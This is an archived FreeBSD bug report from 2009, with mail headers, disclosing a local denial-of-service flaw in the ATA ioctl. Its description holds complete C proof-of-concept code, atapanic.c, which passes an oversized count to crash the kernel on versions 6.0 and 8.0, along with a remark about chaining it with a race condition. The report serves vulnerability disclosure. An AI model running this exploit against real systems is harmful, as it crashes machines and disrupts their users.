From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 20:00:08 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3BF9C1065673 for ; Mon, 13 Jul 2009 20:00:08 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id F2D7C8FC16 for ; Mon, 13 Jul 2009 20:00:07 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DK07AM061186 for ; Mon, 13 Jul 2009 20:00:07 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DK07UI061185; Mon, 13 Jul 2009 20:00:07 GMT (envelope-from gnats) Resent-Date: Mon, 13 Jul 2009 20:00:07 GMT Resent-Message-Id: <200907132000.n6DK07UI061185@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Vincenzo Barranco Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EFDF91065672 for ; Mon, 13 Jul 2009 19:57:06 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id DF3DB8FC0A for ; Mon, 13 Jul 2009 19:57:06 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DJv6F1009344 for ; Mon, 13 Jul 2009 19:57:06 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6DJv69r009343; Mon, 13 Jul 2009 19:57:06 GMT (envelope-from nobody) Message-Id: <200907131957.n6DJv69r009343@www.freebsd.org> Date: Mon, 13 Jul 2009 19:57:06 GMT From: Vincenzo Barranco To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136726: Ata device local denial of service exploit X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 20:00:08 -0000 >Number: 136726 >Category: misc >Synopsis: Ata device local denial of service exploit >Confidential: no >Severity: critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jul 13 20:00:07 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Vincenzo Barranco >Release: 6.0 8.0 >Organization: >Environment: >Description: /* atapanic.c * * Vincenzo Barranco, 13 July 2009 * * this panics the freebsd kernel by passing a large value to malloc(9) in one of * fbsd's ata ioctl's. tested on freebsd 6.0 and 8.0. you need read access to the * ata device in /dev to be able to open() the device. chain with some race condition * bug? * * - shaun * */ #include #include #include #include struct ata_ioc_requestz { union { struct { u_int8_t command; u_int8_t feature; u_int64_t lba; u_int16_t count; } ata; struct { char ccb[16]; } atapi; } u; caddr_t data; int count; int flags; int timeout; int error; }; #define IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_requestz) int main() { struct ata_ioc_requestz evil; int fd; evil.count = 0xffffffff; fd = open("/dev/acd0", O_RDONLY); /* /dev/acd0 is one of my ata devices */ ioctl(fd, IOCATAREQUEST, &evil); /* should never reach here if kernel panics */ return 0; } >How-To-Repeat: Run the program on the top >Fix: >Release-Note: >Audit-Trail: >Unformatted: